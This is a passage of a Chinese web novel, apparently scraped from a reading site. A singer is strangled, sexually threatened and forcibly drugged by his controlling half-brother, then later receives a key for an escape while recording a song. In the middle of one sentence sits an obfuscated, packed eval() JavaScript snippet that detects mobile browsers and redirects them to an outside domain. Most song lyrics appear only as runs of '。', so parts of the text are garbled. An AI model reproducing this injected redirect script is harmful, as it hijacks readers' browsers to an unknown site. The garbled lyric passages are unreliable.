霁远浑身血液都凝固了!巨大的恶心感和灭顶的恐惧让他胃里翻江倒海,几乎要当场呕吐出来!他从未如此清晰地意识到,自己在这个名义上的兄长眼中,究竟是什么!一件完美的、必须完全掌控的收藏品?还是一个可以随意亵玩、满足其扭曲占有欲的……禁脔?! “滚开!!”他爆发出绝望的嘶吼,用尽全身残存的力气,膝盖猛地向上顶去! 霁丞似乎早有防备,身体灵活地一侧,躲开了要害,但霁远的膝盖还是重重地撞在了他的大腿外侧。霁丞闷哼一声,眼中戾气暴涨!他彻底失去了耐心,掐着霁远脖子的手猛地用力! 窒息感瞬间袭来!霁远眼前发黑,肺部火烧火燎,挣扎的力道瞬间弱了下去。 “看来,是我对你太纵容了。”霁丞的声音冰冷刺骨,带着被彻底激怒后的残忍。他松开了掐着脖子的手,在霁远剧烈咳嗽、大口喘息的瞬间,一把拽住他的胳膊,像拖拽一件没有生命的物品,毫不怜惜地将他拖离窗边,粗暴地摔向房间中央那张宽大的、铺着深灰色床品的床! 霁远重重地摔在柔软却冰冷的床褥上,头晕眼花,还未等他挣扎起身,霁丞已经欺身而上,膝盖顶开他的双腿,将他牢牢压制在身下!成年男性绝对的力量差距在这一刻显露无疑,霁远所有的挣扎都如同蚍蜉撼树。 “霁丞!你疯了!我是你弟弟!!”霁远的声音充满了恐惧和绝望的哭腔,眼泪终于控制不住地涌了出来,顺着眼角滑落,没入鬓角。 “弟弟?”霁丞俯视着他,英俊的脸上没有任何动容,只有一片冰冷和一种近乎残忍的平静。他一只手轻易地制住霁远两只手腕,按在头顶,另一只手则慢条斯理地抚上霁远因恐惧和愤怒而剧烈起伏的胸膛,隔着薄薄的毛衣,感受着那狂乱的心跳。那动作,带着一种审视物品般的、令人毛骨悚然的亵渎感。 “从你妈带着你踏进霁家大门那天起,你就该明白,我们之间,从来就不只是‘兄弟’那么简单。”霁丞的声音低沉而危险,每一个字都像毒液,注入霁远濒临崩溃的神经,“你那个下贱的妈,用那张脸迷惑了老头子,生下了你这个孽种,抢走了本该属于我妈和我的一切!你以为,我为什么要把你从那个烂泥潭里捞出来?” 霁远瞳孔骤缩!这是他第一次,如此清晰地听到霁丞对他身世的、赤裸裸的恨意!原来……原来所谓的“拯救”,从一开始就带着如此深重的原罪和报复?! “我让你活下来,让你站在聚光灯下,不是因为我仁慈!”霁丞的手指用力,隔着毛衣掐住霁远胸前的一点,引来他痛苦的闷哼,“是因为我要让你成为我最完美的作品,成为我手中最锋利的刀,最值钱的筹码!我要让你时时刻刻记住,你拥有的一切,都是我施舍的!你的命,你的身体,你的灵魂,都只属于我霁丞一个人!明白吗?!” 他猛地低下头,滚烫的、带着酒气和怒意的呼吸狠狠喷在霁远的颈侧,牙齿在那脆弱的皮肤上不轻不重地咬了一下!不是情欲的挑逗,而是野兽标记领地般的、带着血腥味的警告和占有! “啊!”霁远痛呼出声,巨大的恐惧和屈辱让他浑身剧烈地颤抖起来,眼泪汹涌而出。 就在这令人窒息的绝望时刻,霁丞放在床头的手机,不合时宜地、疯狂地震动起来,屏幕上跳动着“林薇”的名字。 那持续不断的震动声,像一根微弱的针,刺破了房间里几乎凝固的、充满毁灭气息的张力。 霁丞的动作顿住了。 他压在霁远身上,保持着绝对压制的姿态,深潭般的眼眸里翻涌着尚未平息的暴戾和一种近乎失控的暗火。他盯着身下的人:霁远脸色惨白如纸,泪痕交错,长睫被泪水浸湿,黏在一起,脆弱得不堪一击,那双曾经璀璨的眸子此刻只剩下惊惧和死寂的绝望。他微微张着嘴,像离水的鱼一样艰难地喘息,纤细的身体在他的禁锢下不住地颤抖。 那剧烈的颤抖,透过紧贴的身体清晰地传递过来。还有那滚烫的眼泪,灼烧着霁丞的手背。 霁丞眼底深处那抹疯狂的红光,似乎被这眼泪和颤抖浇灭了一丝。他闭了闭眼,再睁开时,里面的暴戾被强行压下,恢复了那种深不见底的、令人心悸的冰冷和平静。但那平静之下,是更加汹涌的暗流。 他缓缓地、带着一种意犹未尽的压迫感,松开了钳制霁远的手,直起身。 霁远像被抽掉了所有骨头,瞬间瘫软在冰冷的床褥里,大口喘息着,身体蜷缩起来,剧烈地颤抖,仿佛刚刚经历了一场酷刑。 霁丞没有看他,只是拿起床头疯狂震动的手机,接通,声音已经恢复了惯常的、毫无波澜的冷静:“说。” 电话那头传来林薇清晰而略带焦急的声音:“霁总,公关部紧急报告,爆料帖发酵速度超出预期,负面舆论开始大规模扩散,已经关联到公司声誉和您个人形象。王总那边也打来电话,措辞非常强硬,指责我们利用舆论反噬,要求立刻平息事态并给予解释。另外,有三家正在洽谈的高端代言品牌方表达了高度关切,暗示可能会重新评估合作。舆情组建议立刻启动最高级别预案,您看……” “知道了。”霁丞打断她,语气淡漠,“按预案执行。重点:一、声明昨晚是正常商务洽谈,霁远因身体突发不适提前离场,照片为恶意角度抓拍,断章取义。二、立刻起诉发布源头及几个带头造谣的大V,律师函同步全网发布。三、联系王总,告诉他,星宸会处理好一切,他的损失,后续项目会补偿。四、安抚品牌方,强调霁远的商业价值和星宸的危机处理能力。五、放出几个其他艺人的无关痛痒的‘料’,分散注意力。” 他的指令清晰、冷酷、高效,仿佛刚才那个压在弟弟身上、散发着危险气息的男人只是幻觉。 “是!霁总!”林薇立刻应下。 霁丞挂了电话,随手将手机丢回床头柜。他这才转过身,居高临下地看着床上蜷缩成一团、依旧在无声颤抖的霁远。灯光下,霁远颈侧那个清晰的牙印泛着暧昧的红痕,像某种屈辱的烙印。 霁丞的眼神暗了暗,却没有丝毫歉意或温情。他俯身,从床头柜的抽屉里拿出一个没有任何标签的、装着白色小药片的精致玻璃瓶,倒出一粒,又拿起之前吴妈送来的、已经凉透的水杯。 “吃了。”他将药片和水杯递到霁远面前,命令的口吻不容置疑。 霁远抬起被泪水糊住的眼睛,看着那粒小小的白色药片,眼神里充满了惊恐和抗拒。这是什么?毒药?让他永远闭嘴的药?还是……控制他精神的药物? “安神的。”霁丞似乎看穿了他的恐惧,扯了扯嘴角,露出一抹毫无温度的假笑,眼神却冰冷如刀,“或者,你想让我用别的办法让你‘安静’下来?” 赤裸裸的威胁。 霁远颤抖着伸出手,指尖冰凉,拿起那粒药片。他知道,他没有选择。在霁丞绝对的力量和掌控面前,任何反抗都显得可笑而徒劳。他闭上眼,将药片塞进嘴里,就着冰冷的水,艰难地咽了下去。苦涩的味道在口腔里蔓延开来。 看着霁远顺从地咽下药片,霁丞眼底掠过一丝几不可查的满意。他直起身,整理了一下微皱的家居服袖口,恢复了那副衣冠楚楚、掌控一切的模样。 “今晚的事,我不希望再发生第二次。”他走到门口,停下脚步,没有回头,声音如同淬了冰的金属,“好好‘休息’。明天下午三点,去录音棚。那首《囚鸟》,制作人那边反馈,副歌部分的情感表达还不够‘到位’。你,好好琢磨。” 说完,他拉开房门,高大的身影消失在门外。房门被轻轻带上,发出“咔哒”一声轻响,如同牢笼再次落锁。 房间里,死寂一片。 霁远依旧蜷缩在床上,药效似乎开始缓慢地发挥作用,一股沉重的、无法抗拒的倦意如同潮水般涌来,试图淹没他所有的痛苦、愤怒和清醒。身体渐渐放松,但心脏的位置,却像被挖空了一块,冰冷地灌着风。 他挣扎着,用尽最后一丝清醒的意志,将手艰难地伸向被压在身下的、裤子口袋里的手机。屏幕还停留在那个污秽的爆料帖界面。他颤抖着手指,点开苏哲的那个加密小号对话框。 意识已经开始模糊,视线变得涣散。他凭着本能,用尽全身力气,打出了两个字,按下发送键。 【帮我】 信息发送成功的提示微弱地闪烁了一下。 下一秒,沉重的黑暗彻底吞噬了他。手机从无力的手中滑落,掉在厚厚的地毯上,屏幕暗了下去。 窗外,雨声未歇,敲打着冰冷的玻璃。这座华丽的囚笼,在夜色中沉默着,将所有的挣扎和绝望,都无声地吞噬殆尽。 唯有手腕内侧,那只被衣袖遮盖的黑色飞鸟纹身,在无人知晓的角落,仿佛在黑暗中,微弱地挣扎了一下。 锈蚀·锁孔 意识像是沉在冰冷粘稠的深海,每一次试图上浮,都被无形的重压狠狠摁回黑暗。耳边是单调而遥远的嗡鸣,夹杂着模糊的雨声,还有……一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353468|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个冰冷而熟悉的声音,如同淬毒的锁链,一遍遍缠绕、收紧: “你的一切,都是我的……” “收起你那点可怜的自尊心……” “我随时能把它……折断。” “唔……” 一声痛苦的呻吟从干裂的唇瓣间溢出。 霁远猛地睁开眼! 刺目的光线如同冰冷的针,狠狠扎进瞳孔,让他瞬间眼前发白,生理性的泪水不受控制地涌出。他猛地抬手遮住眼睛,剧烈的头痛如同有钝器在颅内反复敲击,伴随着阵阵眩晕和恶心。喉咙干得像是被砂纸磨过,每一次吞咽都带来撕裂般的痛楚。 他挣扎着坐起身,环顾四周。依旧是那个冰冷、空旷、毫无人气的房间。厚重的窗帘拉得严严实实,只有缝隙处透进一丝灰白的天光。空气里弥漫着冷杉木香薰和一种……淡淡的药味。昨晚的记忆如同潮水般汹涌回卷——霁丞冰冷的威胁、粗暴的压制、颈侧那令人作呕的咬痕、以及那粒强行咽下的白色药片…… 胃里一阵剧烈的翻搅,他踉跄着冲进洗手间,对着冰冷的马桶干呕起来。除了苦涩的胆汁,什么也吐不出来。他撑着洗手台,看着镜子里的人:脸色惨白如鬼,眼下是浓重的青黑,嘴唇干裂毫无血色,那双曾经清澈明亮的眼睛,此刻布满了红血丝,只剩下深不见底的疲惫、惊惧和一丝……濒临崩溃的死寂。颈侧那个清晰的、泛着淤紫的牙印,像一枚耻辱的烙印,刺眼地昭示着昨夜发生的一切。 不是梦。都是真的。 手腕内侧的飞鸟纹身隐隐作痛。他用力攥紧拳头,指甲深深陷入掌心,试图用□□的疼痛来压制内心的惊涛骇浪和灭顶的绝望。 就在这时,门外传来规律的敲门声,伴随着吴妈小心翼翼的声音:“二少爷?您醒了吗?该起来吃点东西了,下午还要去录音棚……” 录音棚。《囚鸟》。 霁丞昨晚冰冷的命令再次在耳边响起:“明天下午三点,去录音棚。那首《囚鸟》,副歌部分的情感表达还不够‘到位’。你,好好琢磨。” “到位”?霁远看着镜中狼狈不堪的自己,扯出一个比哭还难看的笑容。 胃里又是一阵尖锐的绞痛。他拧开水龙头,用冰冷刺骨的水狠狠泼在脸上,试图让自己清醒。水珠顺着苍白的脸颊滑落,混合着眼角的湿痕。 他必须去。他没有选择。反抗的念头在绝对的力量和无处不在的监控面前,脆弱得不堪一击。昨晚那场短暂而绝望的爆发,除了换来更深的羞辱和身体上的疼痛,以及那颗让他昏沉至今的药片,还换来了什么?什么都没有。霁丞甚至不需要亲自动手,只需要一个眼神,一个命令,就能让他万劫不复。 他麻木地换好林薇提前准备好的衣服——一件质地柔软却款式保守的米白色高领毛衣,恰好能遮住颈侧的痕迹。下楼时,吴妈已经将温热的清粥小菜摆在餐桌上。 “二少爷,快吃点吧,您胃不好,空着肚子更难受。”吴妈看着他苍白得吓人的脸,眼里满是担忧和不忍,忍不住又小声劝道,“大少爷他……也是为您的前途操心,您别总跟他置气,气坏了身子不值当……” 前途?霁远嘴角勾起一抹冰冷的弧度。他的“前途”,就是霁丞精心规划的、通往更华丽囚笼的阶梯罢了。他没有回应吴妈,只是机械地拿起勺子,舀起一点粥送进嘴里。温热的米粥滑入食道,却无法温暖他冰冷的四肢百骸。味同嚼蜡。 手机震动了一下。是工作群的消息。林薇在里面@了他: 林薇:@霁远 司机老陈已在门口等候。下午三点准时到达‘声域’录音棚A01。制作人李老师团队已就位。请调整好状态,务必完美呈现《囚鸟》。 林薇:[附件:今日舆情简报及公关声明初稿.pdf] 林薇:另外,昨晚事件的负面舆情已按霁总指示初步控制。律师函已发出,源头账号正在追查。请勿在个人账号做任何回应。 霁远点开那个舆情简报。果然,星宸的公关机器开足了马力。声明写得滴水不漏,将他塑造成一个在正常商务场合突发身体不适的敬业艺人,所有照片都是恶意解读和断章取义。几个跳得最欢的营销号账号已经被挂上了律师函警告。热搜词条也已经被替换成了#霁远敬业#、#星宸娱乐维权#之类无关痛痒的话题。王总的名字更是被彻底抹去,仿佛昨晚那个油腻的胖子和令人作呕的试探从未存在过。 这就是霁丞的手段。翻手为云,覆手为雨。能用最肮脏的污水泼你一身,也能用最光鲜的绸缎将你重新包裹。他霁远,不过是这权力游戏中最显眼也最听话的一枚棋子。 他关掉手机屏幕,屏幕上映出自己空洞麻木的脸。 车子驶向“声域”录音棚的路上,依旧是死寂。司机老陈沉默地开车,副驾坐着霁丞派来的、一个身材魁梧、面无表情的保镖。霁远靠在后座,脸侧向窗外。雨已经停了,但天空依旧阴沉沉的,压抑得让人喘不过气。城市的钢筋森林在车窗外飞速倒退,像一个巨大的、冰冷的迷宫。 他下意识地摸向口袋里的手机。那个加密的小号。昨晚昏迷前,他凭着最后一点意识,向苏哲发出了那两个字:【帮我】。 现在呢?苏哲看到了吗?他会怎么想?他能怎么帮?在霁丞布下的天罗地网里,苏哲一个无权无势的地下音乐人,又能做什么?这个念头刚升起,就被更深的绝望和自嘲淹没。他太天真了。这声求助,恐怕只会石沉大海,甚至可能……会给苏哲带来麻烦。如果被霁丞知道…… 一股寒意瞬间窜上脊背。他不敢再想下去。 “声域”录音棚是业内顶级的录音场所之一,安保严密,私密性极佳。车子从特殊通道直接驶入地下车库,避开了所有可能蹲守的媒体和粉丝。霁远在保镖的“陪同”下,沉默地走进电梯,直达顶层的A01录音室。 厚重的隔音门推开,里面已经有人在忙碌。顶级的录音设备闪烁着幽冷的光,巨大的调音台前坐着戴着监听耳机的制作人李牧——一个以严苛和商业嗅觉敏锐著称的音乐人。旁边是他的助理和录音师。林薇也已经到了,正和李牧低声交谈着什么,看到霁远进来,立刻迎了上来。 “霁远,你来了。”林薇脸上挂着职业化的微笑,眼神却快速地在霁远苍白的脸上扫过,带着一丝不易察觉的审视,“脸色不太好?昨晚没休息好?”她的目光似乎有意无意地扫过霁远刻意拉高的毛衣领口。 “有点头疼,不碍事。”霁远避开她的目光,声音沙哑。 “嗯,那先喝点温水润润喉。”林薇递过来一瓶拧开的矿泉水,语气温和却不容拒绝,“李老师他们已经准备好了。我们时间比较紧,争取一遍过。你知道的,霁总对这首歌期望很高。”她刻意加重了“霁总”两个字。 霁远沉默地接过水,喝了一小口。冰凉的水滑过喉咙,带来一阵刺痛。 “远哥,来啦!”李牧摘下一边耳机,笑容满面地走过来,拍了拍霁远的肩膀,力道不轻,“状态调整得怎么样?昨天听Demo,副歌那里总觉得差点意思,情绪不够‘沉’下去,不够‘痛’!今天咱们得把那感觉抓出来!”他语速很快,带着音乐人特有的兴奋和强势,“这首歌绝对能爆!王总那边可是点名等你录好就要安排宣发了!” 王总……霁远胃里又是一阵翻腾。他勉强点了点头,走向隔音玻璃后的录音间。 录音间里很安静,只有耳机里传来的《囚鸟》伴奏的demo。旋律抓耳,编曲华丽,充满了商业化的精致感。他戴上耳机,站在麦克风前。巨大的监听耳机隔绝了外界大部分声音,将他困在这个小小的、透明的玻璃盒子里。他能看到外面李牧、林薇、录音师他们模糊的身影,以及他们投向自己的、带着审视和期待的目光。像在观赏笼中鸟的表演。 他深吸一口气,试图将所有的屈辱、愤怒、恐惧和绝望都压下去,变成歌声里需要的“情绪”。 前奏响起。 (Verse 1) 没想好 他的声音响起,依旧是那把清冷干净、被无数粉丝誉为“天籁”的好嗓子。技巧无可挑剔,音准完美。但只有他自己知道,这声音里没有灵魂,只有机械的重复。像一具被设定好程序的精美发声器。 (Pre-Chorus) 没想好 唱到“。。。。”、“。。。”时,一丝真实的窒息感涌了上来。他仿佛又回到了“云巅”那个觥筹交错的牢笼,回到了霁丞那座冰冷华丽的半山别墅。呼吸,真的变得困难起来。 耳机里传来李牧的声音,通过内部通话系统:“情绪!远哥!投入一点!想象你真的被困住了!‘。。。’,那种被淹没的无力感!再来!” (Chorus) (我还没想好呢?) 当唱到那句被王总“欣赏”的“。。。。”时,一股强烈的生理性反胃猛地冲上喉头!喉咙像是被一只无形的手死死扼住!声音不受控制地出现了一丝颤抖和极其细微的哽咽! “停!”李牧的声音立刻响起,带着明显的不满,“怎么回事?远哥!‘。。。’这里要的是破碎感!是痛!不是让你真的破音!情绪要饱满!要让人一听就心疼!懂吗?再来一遍!从副歌进!” 伴奏再次响起。 霁远闭上眼,努力平复翻涌的恶心感。破碎感?痛?他难道还不够痛吗?他张开嘴,再次唱出那句歌词:“……” 这一次,声音稳住了。技巧完美。但李牧显然还不满意。 “不对!感觉还是不对!太表面了!我要的是灵魂深处的呐喊!是那种被最信任的人亲手折断了翅膀的绝望!再来!” 一遍。又一遍。 每一次唱到那句“ “。。。。”,都像是在亲手撕开自己的伤口,将血淋淋的内里展示给外面那些期待“精彩表演”的看客。霁丞冰冷的眼神、粗暴的压制、带着血腥味的咬痕、那句“。。。”的威胁……如同走马灯般在脑海中疯狂闪回!每一次重复,都让那屈辱和绝望更深一分,几乎要将他逼疯! 额角渗出细密的冷汗,握着歌词稿的手指因为用力而骨节发白,微微颤抖。他的声音依旧保持着水准,但脸色却越来越白,眼神也越来越空洞,仿佛灵魂正在从这具躯壳中抽离。 “不行!还是差点意思!”李牧的耐心似乎快耗尽了,他烦躁地抓了抓头发,对着话筒说,“远哥,你到底怎么回事?状态这么差?昨晚没睡好也不能这么敷衍啊!这首歌有多重要你不知道吗?霁总那边……” “李老师,”林薇及时打断了李牧,脸上依旧维持着得体的微笑,眼神却看向隔音玻璃后摇摇欲坠的霁远,“让霁远休息五分钟吧,调整一下状态。喝口水。” 李牧皱了皱眉,还是点了点头:“行吧,五分钟!抓紧调整!今天必须把副歌拿下来!” 录音间的灯光调暗了一些。霁远像被抽干了所有力气,扶着墙壁,缓缓滑坐在地上。巨大的监听耳机滑落,挂在脖子上。他抱着膝盖,将脸深深埋进去,肩膀无法抑制地微微耸动。无声的泪水瞬间浸湿了膝盖处的布料。 为什么……为什么非要这样逼他? 就在这时,口袋里的手机,那个加密小号专用的手机,极其轻微地震动了一下!那震动微弱得几乎无法察觉,但在霁远此刻紧绷到极致的神经上,却如同惊雷炸响! 他猛地一颤!心脏像是被一只无形的手狠狠攥住,瞬间停止了跳动!几秒钟后,才疯狂地、擂鼓般撞击着胸腔!血液仿佛在这一刻全部冲上了头顶! 他几乎是凭着本能,在身体和宽大毛衣袖口的遮掩下,颤抖着、极其缓慢地将手机从口袋里掏出了一点点,用身体挡住外面可能投来的视线,用几乎无法聚焦的眼睛,迅速瞥向屏幕。 屏幕上,那个“Z”的头像旁,跳出一条新信息! Z:老地方,消防通道垃圾桶夹层。钥匙。西郊废弃工厂“回声”。通道只开三天。快! 信息极其简短,没有任何多余的字眼!却像一道撕裂黑暗的闪电,瞬间劈中了霁远! 钥匙!废弃工厂“回声”!通道只开三天! 苏哲!他真的收到了!他真的在行动!他在给他指一条路!一条可能……逃离的路! 巨大的、难以置信的狂喜和随之而来的、灭顶的恐惧瞬间将他淹没!希望的光芒如此微弱,却又如此灼热!烫得他浑身发抖!他死死咬住下唇,尝到更浓的血腥味,才勉强压下喉咙里几乎要冲出来的呜咽和呐喊。 快!苏哲说快!通道只开三天! 三天!他只有三天时间! 心脏在胸腔里疯狂地跳动,几乎要撞碎肋骨!血液在血管里奔涌咆哮!一股前所未有的力量,混合着巨大的恐惧和孤注一掷的决绝,猛地灌注进他冰冷的四肢百骸! 他猛地抬起头! 隔音玻璃外,李牧似乎正和林薇说着什么,录音师在调试设备,没有人注意到他刚才瞬间的异常。但他知道,时间不多了!五分钟的休息即将结束! 他必须唱下去!他必须拿到这把钥匙!他必须离开! 他深吸一口气,用尽全身力气,将所有的狂喜、恐惧、绝望、愤怒、以及那点名为“永不回头”的决绝,统统压进胸腔!他重新戴上耳机,扶着墙壁站了起来。脸色依旧苍白,但那双空洞麻木的眼睛里,此刻却燃起了两簇幽暗却疯狂的火苗! 他走到麦克风前,对着外面比了一个“OK”的手势。 李牧有些意外他调整得这么快,但还是立刻示意录音师准备。 伴奏再次响起。熟悉的旋律,熟悉的歌词。 (Verse 2) (还没想好?) 这一次,他的声音不再仅仅是技巧的堆砌。那清冷的声线里,注入了一种令人心颤的、沉重的疲惫感。“提线木偶”、“完美的寂寥”、“钝刀”、“灵魂惊逃”……每一个词,都像是从他灵魂深处挖出来的血肉,带着真实的、淋漓的痛楚! 玻璃外的李牧眼睛猛地一亮!录音师也立刻打起了精神! (Pre-Chorus) 。。。 “。”、“。”、“。”、“。。。”……霁远的声音里充满了被无形重压碾碎的窒息感和无边无际的绝望!他仿佛不是在唱歌,而是在用声音进行一场血淋淋的自我解剖!那声音里的痛苦如此真实,如此浓烈,让外面听着的人都感到一阵心悸! 林薇微微皱起了眉头,看着玻璃后那个仿佛燃烧着自己生命的青年,眼中闪过一丝复杂难辨的情绪。 (Chorus) 。 当唱到这一句时,霁远的声音陡然拔高!不再是技巧性的高音,而是带着一种濒死般的、从灵魂深处迸发出来的嘶吼!那“。。。。”四个字,被他唱得字字泣血!仿佛真的有一只无形的巨手,当着他的面,将一对渴望自由的翅膀,残忍地、活生生地折断!玻璃似乎都在他饱含血泪的呐喊中微微震颤! 李牧激动得差点跳起来!就是这个感觉!他想要的破碎感和绝望感! 质问,不再是哀怨,而是带着血泪的控诉。那“为何亲手”的质问,充满了被至亲至信之人背叛的、锥心刺骨的痛苦和不解。 声音低沉下去,带着一种耗尽全力的疲惫和深入骨髓的悲凉。“。”,那微弱的、对自由和理解的乞求,在绝望的底色下,显得如此卑微而心碎。 ? 最后一句,声音已经沙哑,气息微弱,却带着一种近乎献祭般的、孤注一掷的决绝!仿佛真的在饮下一杯穿肠毒药,只为换取那虚无缥缈的自由幻影! 整个副歌,被他唱得撕心裂肺,荡气回肠。那浓烈到化不开的痛苦和绝望,几乎要冲破隔音玻璃,将外面的人吞噬。录音室里一片寂静,所有人都被这突如其来的、充满毁灭性力量的演唱震撼得说不出话。 (Bridge) 。 唱到Bridge部分,霁远的声音里透出一种极致的疲惫和一种……近乎疯狂的平静。尤其是最后那句“是否要碾碎这副精美的皮囊,才能让灵魂挣脱这流金的网?”,仿佛不是在提问,而是在陈述一个即将付诸行动的决定!带着一种令人毛骨悚然的、自我毁灭式的解脱感! 李牧已经完全沉浸在这极致的情感表达中,激动得满脸通红。他示意录音师完美捕捉每一个细节。这就是他想要的。不,这比他想要的还要震撼百倍。 (Outro Chorus / Ad-libs) 。 最后那句即兴加入的、近乎耳语般的“。”,轻得如同叹息,却又重得如同誓言!像一道微弱却执拗的光,刺破了所有绝望的阴霾!霁远唱完最后一句,像是耗尽了所有的生命力,身体晃了晃,扶着麦克风支架才勉强站稳。汗水浸湿了他的额发,脸色白得像纸,只有那双眼睛,燃烧着最后的、疯狂的光芒! “Perfect!!!太完美了!!”李牧激动的声音通过通话系统炸响,打破了录音室的寂静,“就是这种感觉!远哥!神了!这就是我要的灵魂!痛苦!挣扎!绝望!还有最后那一丝……绝境中的光!太棒了!一遍过!绝对一遍过!” 录音师也兴奋地竖起了大拇指。 林薇看着玻璃后那个摇摇欲坠的身影,看着他脸上那混合着极致痛苦和某种奇异解脱的表情,眉头却锁得更紧了。她总觉得哪里不对劲。那歌声里的情感……真实得让她心惊肉跳,仿佛在聆听一场……无声的诀别。 霁远摘下耳机,巨大的疲惫感和刚才强行爆发带来的虚脱感瞬间将他淹没。他脚步虚浮地走出录音间。 “辛苦了,霁远!简直完美!”李牧热情地迎上来,用力拍了拍他的肩膀,“后期交给我!这首歌绝对会成为你新的代表作!霁总听了肯定会非常满意!” 霁远勉强扯了扯嘴角,算是回应。他的目光却不由自主地快速扫过录音室通往外面走廊的那扇门,以及……门外不远处那个不起眼的消防通道指示牌。 苏哲说:老地方,消防通道垃圾桶夹层。 “我……去下洗手间。”他声音沙哑地对林薇说,尽量让自己的语气听起来平静。 林薇点点头:“好,快去快回,我们等下还要……” 霁远没等她说完,就低着头,快步走出了录音室,朝着洗手间的方向走去。心脏在胸腔里疯狂地跳动,几乎要撞出喉咙!走廊里很安静,只有他急促的脚步声在回响。 走到洗手间门口,他脚步未停,眼角的余光却死死锁定了走廊尽头那个绿色的、印着“安全出口”的消防通道门! 就是那里! 他深吸一口气,强迫自己保持步伐,径直走进了洗手间。里面空无一人。他迅速反锁了其中一个隔间的门,背靠着冰冷的门板,剧烈地喘息着。几秒钟后,他猛地拉开门,像一道无声的影子,以最快的速度闪出洗手间,冲向走廊尽头的消防通道门! 心跳如雷!每一步都像是踩在刀尖上!他仿佛能感觉到背后林薇或保镖随时可能追来的目光!时间仿佛被拉长了! 终于!他的手握住了消防通道冰冷的金属门把手!用力一推! 门开了!一股带着灰尘和凉气的空气涌出!里面是光线昏暗、堆放着一些杂物的楼梯间。入口处,放着一个不起眼的、塑料的绿色大垃圾桶。 就是它!夹层! 霁远的心跳几乎停止!他迅速蹲下身,强忍着垃圾桶里散发出的异味,手指颤抖着在垃圾桶内壁摸索。塑料内壁很光滑……没有!他额角的冷汗瞬间冒了出来!难道被清理了?还是……苏哲弄错了? 不!不会的! 他更加用力地摸索,指尖触碰到垃圾桶底部边缘一个不起眼的、微微凸起的塑料卡扣!他用力一抠! “咔哒”一声轻响!一个极其隐蔽的、只有巴掌大的夹层被打开了! 里面静静地躺着一把样式普通的黄铜钥匙!钥匙上贴着一小块胶布,上面用极细的笔写着两个字:回声。 就是它! 巨大的狂喜瞬间冲垮了所有的恐惧!他一把抓起钥匙,紧紧攥在手心!冰冷的金属触感却像烙铁一样烫着他的掌心! 通道只开三天!快! 他迅速合上夹层,将钥匙死死攥紧,塞进裤子最深的、贴着大腿内侧的口袋里。然后站起身,深吸一口气,努力平复狂跳的心脏和急促的呼吸,整理了一下衣服,拉开消防通道的门,重新走回明亮的走廊。 刚走出没几步,就差点撞上匆匆寻来的林薇。 “霁远?你去哪了?这么久?”林薇狐疑地看着他,目光锐利地扫过他略显凌乱的头发和苍白的脸,“李老师那边等着你确认几个细节。” “洗手间……人有点多。”霁远低下头,避开她的视线,声音依旧沙哑,带着一丝不易察觉的颤抖,正好可以解释为疲惫,“我这就过去。” 林薇盯着他看了几秒,似乎想从他脸上找出什么破绽,但最终只是点了点头:“嗯,快点吧。” 霁远跟在林薇身后,走向录音室。每一步都走得无比沉重,又仿佛带着一种即将挣脱枷锁的轻盈。掌心紧贴着口袋,那把小小的、冰冷的钥匙,此刻却像一块燃烧的炭火,灼烧着他的皮肤,也点燃了他眼底深处那簇名为“永不回头”的火焰。 三天。只有三天。 而此刻,在城市另一端,星宸娱乐顶层的总裁办公室里。 霁丞正站在巨大的落地窗前,俯瞰着脚下如蝼蚁般的车流。他刚刚听完林薇发来的《囚鸟》录音小样。耳机里,霁远那充满极致痛苦、绝望和最后那丝奇异光芒的歌声,还在他耳边萦绕。 他英俊的脸上没有任何表情,深邃的眼眸如同寒潭。他端起手边的黑咖啡,抿了一口,苦涩的味道在舌尖蔓延。 突然,他放在桌面上的另一部特殊加密手机,屏幕无声地亮了一下,跳出一条来自某个隐秘监控程序的通知: 警报:目标加密通讯设备于15:47分在‘声域’录音棚区域接收到一条未知来源信息。内容加密等级高,无法破译。信号源短暂活跃后消失。 霁丞端着咖啡杯的手,几不可查地顿了一下。他缓缓转过身,目光落在那条刺眼的警报信息上。 深邃的眼眸,瞬间结冰。一股凛冽的、足以冻结空气的寒意,无声地弥漫开来。 35. 第 45 章 星宸娱乐顶层总裁办公室,巨大的落地窗将阴沉的天幕切割成冰冷的几何图案。空气里弥漫着顶级雪茄的余味和一种山雨欲来的死寂。 霁丞站在窗前,背影挺拔如刀裁,深灰色的高定西装包裹着蓄满力量的躯体。他指间夹着的雪茄已经熄灭,烟灰无声地坠落在光洁如镜的黑曜石窗台上。耳机里,霁远在《囚鸟》副歌部分那声撕裂灵魂般的“羽翼折断在黄金的牢”还在反复回荡,那声音里的痛苦、绝望和最后一丝孤注一掷的决绝,像淬毒的冰锥,反复刺穿着某种坚硬的壁垒。 然而,此刻占据他全部心神的,却是桌面上那部特殊加密手机屏幕上,那条冰冷刺眼的警报: 警报:目标加密通讯设备于15:47分在‘声域’录音棚区域接收到一条未知来源信息。内容加密等级高,无法破译。信号源短暂活跃后消失。 15:47分。正是霁远在录音棚里,唱完那首“完美”得令人心惊的《囚鸟》,借口去洗手间的那段时间。 巧合? 霁丞的嘴角缓缓勾起一抹冰冷到极致的弧度。深邃的眼眸里,所有的情绪都被瞬间冻结,只剩下一种无机质般的、令人心悸的审视和洞悉一切的锐利。他转过身,步伐沉稳地走向那张象征权力巅峰的巨大办公桌。 “林薇。”他按下内线电话,声音平静无波,却带着无形的、足以冻结空气的压力。 几秒钟后,办公室厚重的实木门被无声推开,林薇快步走进来,脸上带着职业化的恭敬,但眼底深处藏着一丝不易察觉的紧张。她敏锐地感觉到了办公室内不同寻常的低气压。 “霁总。” “把霁远今天下午在‘声域’录音棚的完整时间线,精确到分钟。”霁丞没有看她,目光依旧落在警报信息上,手指无意识地敲击着桌面,发出规律而冰冷的轻响,“包括他进入录音间、离开录音间、去洗手间、以及任何接触过的人或物品。监控录像,所有角度的,全部调出来。现在。” 林薇心中一凛!果然和霁远有关!她不敢有丝毫迟疑:“是,霁总!我马上去办!”她立刻转身,几乎是跑着离开了办公室。霁丞的命令,尤其是涉及到霁远的异常,从来都是最高优先级。 